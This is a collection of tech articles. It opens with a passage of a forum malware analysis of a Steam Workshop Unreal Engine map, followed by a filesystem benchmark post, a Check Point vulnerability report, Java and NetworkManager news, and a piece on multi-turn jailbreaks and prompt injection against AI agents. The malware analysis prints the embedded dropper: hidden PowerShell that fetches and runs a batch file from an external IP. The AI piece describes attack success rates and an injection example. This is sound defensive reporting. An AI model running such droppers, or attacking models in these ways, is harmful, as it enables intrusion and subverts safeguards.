 AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc 
 There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.
 This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.
 3): Verifying the Asset Files
 File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.
 The results:
  utoc starts with -==--==--==--==-, which is the real IoStore magic
 pak has the correct 0x5A6F12E1 footer magic
 no MZ/PE, ELF or ZIP headers anywhere in any file
 
 The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.
 4): AssetRegistry.bin Reveals the First Clue
 This is the detail that stands out most from the entire investigation.
 AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.
 However, one Blueprint actor immediately stands out:
 /Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 
 Its class resolves as:
 BP_AmbientController_C 
 Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.
 In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.
 That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.
 The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.
 5): Opening the UE5 Asset Container
 The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:
 chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed 
 No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.
 The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.
 Searching across the extracted asset data revealed only a small number of notable references:
 ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 
 These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.
 6): Reverse Engineering the Blueprint
 The complete function chain is:
 ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile 
 Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.
 Tracing the Blueprint bytecode shows the path construction:
 dir = GetPlatformUserDir() // C:/Users//Documents/ path = dir + "s.bat" 
 ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.
 7): Extracting the Embedded Payload
 A single embedded string inside the Blueprint contains the following data:
 {"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"} 
 The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.
 This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.
 The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.
 8): Analyzing the Dropper Script
 The extracted script is also human-readable:
 if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) 
 The script uses a simple two-stage execution flow.
 On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.
 On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.
 The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.
 The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.
 9): Confirming Execution on an Affected PC
 On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.
 This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.
 https://preview.redd.it/hav7l33dq1fh1.png?width=2252&format=png&auto=webp&s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32
 10): Did the second stage execute?
 The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:
 https://preview.redd.it/srmpq28pq1fh1.png?width=1577&format=png&auto=webp&s=6a2841345f423906fafaa570acd20d85636e3b70
 The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.
 On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.
 The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).
 This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.
 https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&format=png&auto=webp&s=141474bd203a7d6529591ae09487da2e35e58026
 11): Analysis Summary
 Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:
  The Workshop uploader account appears to have been created only about one week before the item was published
 The Workshop map currently does not allow users to leave comments or ratings
 The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
 The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
 Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
 The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
 That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.
 
 What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.
 12): Limitations & Unknowns
 What does steamb.bat do?
 Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.
 IOCs
 Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 
 Final Verdict
 Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.
 What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.
 I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.
 Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data
 Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.
 Cheers and stay safe!
 FeintBe
 
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I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts
Fri, 24 Jul 2026 00:13:06 +0200
Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.
 I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.
 The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.
 Hosted CI dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/
 Experimental real-hardware dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/
 Apache-2.0 licensed source and complete methodology:
 https://github.com/fenio/modern-fs-benchmark
 The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.
 Why I started this project
 Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.
 General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.
 I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.
 That means testing behavior such as:
 - Redundancy and degraded operation
 - Snapshot aging, scaling and reclamation
 - Compression and encryption
 - Reflinks and clone divergence
 - Fsync tail latency and responsiveness under load
 - Rebuild and scrub behavior
 - Near-full and hard-ENOSPC behavior
 - Data integrity and recovery from corruption
 Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.
 Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.
 Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.
 The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.
 An important limitation
 The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.
 The hosted runs are primarily useful for:
 - Correctness and integrity outcomes
 - Comparisons within the same job
 - Large behavioral differences
 - Snapshot-aging and near-full shapes
 - Trends across repeated runs
 Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.
 I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.
 The real-hardware experiment
 Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.
 The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.
 During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.
 The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.
 I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.
 Where I would like to take it
 Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.
 I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.
 That could support scenarios such as:
 - HDD, SSD and NVMe baselines using identical workloads
 - bcachefs foreground and background targets
 - ZFS HDD data vdevs with SSD special vdevs
 - Separate ZFS L2ARC and SLOG experiments
 - LVM dm-cache in writeback and writethrough modes
 - Metadata and small-block placement on faster media
 - Foreground latency during background migration
 - Contention between fast and slow storage tiers
 - Degraded operation and rebuild under application load
 - Performance before, during and after promoting or evacuating a storage tier
 These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.
 I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.
 For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.
 I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.
 I would appreciate technical feedback:
 - Which current tests are misleading or unfair?
 - Which failure scenarios are missing?
 - Which mixed-media topologies would be most useful?
 - Which additional filesystems or layered stacks should be included?
 - Which results deserve deeper investigation?
 The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.
 
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Check Point hole grants unauthenticated attackers full SmartConsole admin privileges
Thu, 23 Jul 2026 22:25:55 +0200

		
					  
						




Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.



In its security alert, Check Point described the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”



The company has released a patch for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. Check Point said that the exploit has impacted ten of its customers, all of whom it had notified directly.



Far worse than most



Frank Dickson, group VP for security at IDC, said this security hole is far worse than most.



“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”



In an interview with CSO Online, Lotem Finkelstein, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.



But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.



The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.



Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”



Challenges of IP address restrictions



While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, Assaf Morag, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.



“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”



Pieter Arntz, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”



Ideal platform for long-term attacks



Mike Wilkes, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.



“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”



IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. 



“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”



And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”



‘The Java Story’ recounts the rise, fall, and rise again of Java
Thu, 23 Jul 2026 22:04:52 +0200

		
					  
						




The evolution of Java is the subject of a just-released documentary about the programming language and development platform. “The Java Story: The Official Documentary” tells the story of Java through interviews with the engineers who created it and shepherded it through three decades.



Produced by CultRepo and sponsored by Oracle, JetBrains, IBM, and Azul, the documentary follows Java from its set-top box and browser-based origins at Sun Microsystems in the 1990s and through its rise to dominate server-side computing in the 2000s, the “dark ages” and resurgence with Java 8 under Oracle in the 2010s, and its continuing modernization and promising role in AI today. “From its humble beginnings as a project code-named ‘Oak’ at Sun Microsystems to becoming a global standard for enterprise software and billions of devices, Java’s journey is one of radical innovation, strategic pivots, and enduring community strength,” said Cult.Repo. 



The documentary also delves into Sun’s bitter Java licensing dispute with Microsoft, Oracle’s suit of Google over its use of Java APIs Android (Google won), the creation of the Java Community Process, Sun’s open-sourcing of Java, and Oracle’s switch to the six-month release cycle. Technical enhancements such as lambda expressions in Java 8, virtual threads in Java 21 (Project Loom), and the ongoing refactor to bring value objects to the Java object model (Project Valhalla) also get attention. 



Technical experts and other Java figures interviewed in the documentary include James Gosling, creator of Java; Kim Polese, Java’s first product manager; Carla Schroer, director of Java compatibility at Sun Microsystems; James Duncan Davidson, creator of Apache Tomcat; Mark Reinhold, chief architect of the Java Platform Group at Oracle; Brian Goetz, Java language architect in the Java Platform Group at Oracle; Rod Johnson, creator of Spring; and Gavin King, creator of Hibernate. 



NetworkManager update advances IPv6-only support, Wi‑Fi management, and security for Linux-based operating systems
Thu, 23 Jul 2026 21:34:46 +0200

		
					  
						




Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plane, deciding what a device’s configuration should be.



NetworkManager 1.58 was released this week, following more than five months of development and 407 commits since version 1.56. The release covers three areas: expanded support for IPv6-only networks, a set of Wi-Fi management updates, and a round of security hardening.



IPv4 address exhaustion remains the pressure behind the first of those areas, pushing more networks toward IPv6-only operation every year.



“More networks, mobile carriers, cloud providers, and anyone squeezed by IPv4 exhaustion are running IPv6-only by default,” Chris Van Hoof, director of Linux engineering, platform enablement at Red Hat, told Network World.



Advancing IPv6-only support



Dual stack networking, running IPv4 and IPv6 in parallel, has been the default IPv6 transition strategy for years. Dual stack networking, however, has a structural problem in that it still requires an IPv4 address on every device, so it does nothing to relieve address exhaustion pressure.



An alternative model called IPv6-mostly addresses that gap. It is defined in RFC 8925, “IPv6-Only-Preferred Option for DHCPv4,” and lets capable clients drop IPv4 entirely while legacy hosts that still need it keep receiving it on the same network segment.



“NetworkManager can also now auto-signal RFC 8925’s IPv6-only-preferred option, telling the network a host is fine skipping an IPv4 lease entirely,” Van Hoof said.



For the traffic that still needs IPv4, NetworkManager 1.58 adds support for CLAT, short for customer-side translator. CLAT is the client-side half of 464XLAT, a mechanism defined in RFC 6877, “464XLAT: Combination of Stateful and Stateless Translation.”



464XLAT pairs CLAT on the endpoint, which performs stateless header translation, with a stateful NAT64 translator on the provider side, letting IPv4-only apps keep functioning on a network that has no IPv4 of its own.



“CLAT is the translation layer that lets legacy IPv4-only apps and services keep working on those networks without bolt-on middleware,” Van Hoof said.



Wi-Fi management updates



NetworkManager 1.58 also brings a set of changes to how the daemon handles Wi-Fi connections and configuration.




Band selection: The band property of Wi-Fi connections now accepts a 6GHz value, and a Wi-Fi scan run through nmcli, NetworkManager’s command line tool, now shows each access point’s band as well.



Credential handling: WPS credentials with a 64 character hex PSK are now accepted, matching what some access points return.



Text interface improvements: nmtui, NetworkManager’s menu driven text interface, picked up several usability additions. A new device select button lets you choose a physical interface from a list instead of typing its name. The activation screen gained a rescan Wi-Fi button, and secret prompts now include a show password checkbox. There is also a share QR code option, mirroring the existing nmcli device wifi show-password command.




Security hardening



The release fixes vulnerabilities and tightens several defaults tied to DHCP handling and connection permissions.




CVE-2026-10805: Hostnames and MUD URLs are now validated before being written to the dhclient configuration file, rejecting characters that could alter the config syntax.



DHCPv4 client fix: An out-of-bounds read in the internal DHCPv4 client, triggerable by an on-link attacker with a malformed UDP packet, has been fixed.



Router option validation: The internal DHCPv4 client now ignores DHCP option 3, the Router option, when a lease also contains option 121, the Classless Static Route option, following the recommendation in RFC 3442.



Permission checks and deprecations: For private connections that restrict access to specific users, NetworkManager now verifies that the user can access the referenced 802.1X certificates and keys.




Tunneling and automation updates



Two smaller but practical additions round out this release: a new tunnel type for virtualized networks, and a fix that closes a gap in how NetworkManager’s state survives a reboot.



NetworkManager 1.58 also adds support for creating and managing GENEVE tunnel interfaces. GENEVE, short for Generic Network Virtualization Encapsulation, is a tunneling protocol that wraps Ethernet frames inside UDP packets, letting virtualized or overlay networks run on top of physical Layer 3 infrastructure. It shows up mainly in virtualization and cloud environments, where a hypervisor or container networking layer needs to build a virtual network segment across physical hosts. Previously, NetworkManager could not create or manage these interfaces directly.



The release also adds persisted managed state. NetworkManager tracks whether it is responsible for a given network device, a setting called its managed state. Until now, that setting reset on every reboot, so provisioning tools had to reapply it each time a system restarted. NetworkManager 1.58 lets the managed state survive a reboot when it is set through nmcli or the D-Bus API.



“It’s a small change but closes a real automation gap: Provisioning tools and cloud-init style workflows can set a device’s state once via D-Bus or nmcli and trust it survives a reboot, instead of reapplying config every time,” Van Hoof said.



Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026
Thu, 23 Jul 2026 20:48:24 +0200
When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transform 2026; the number should worry anyone still running single-turn red-teaming programs.
VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math. 
Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.
Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.
Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.
"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.
Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."
Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.
Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."
Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."
Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. 
Three layers versus an operating system
Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."
She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."
Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.
Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.
The end of human code review
Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."
Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."
Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.
"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.
Intent versus probability
An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.
That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.
Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.
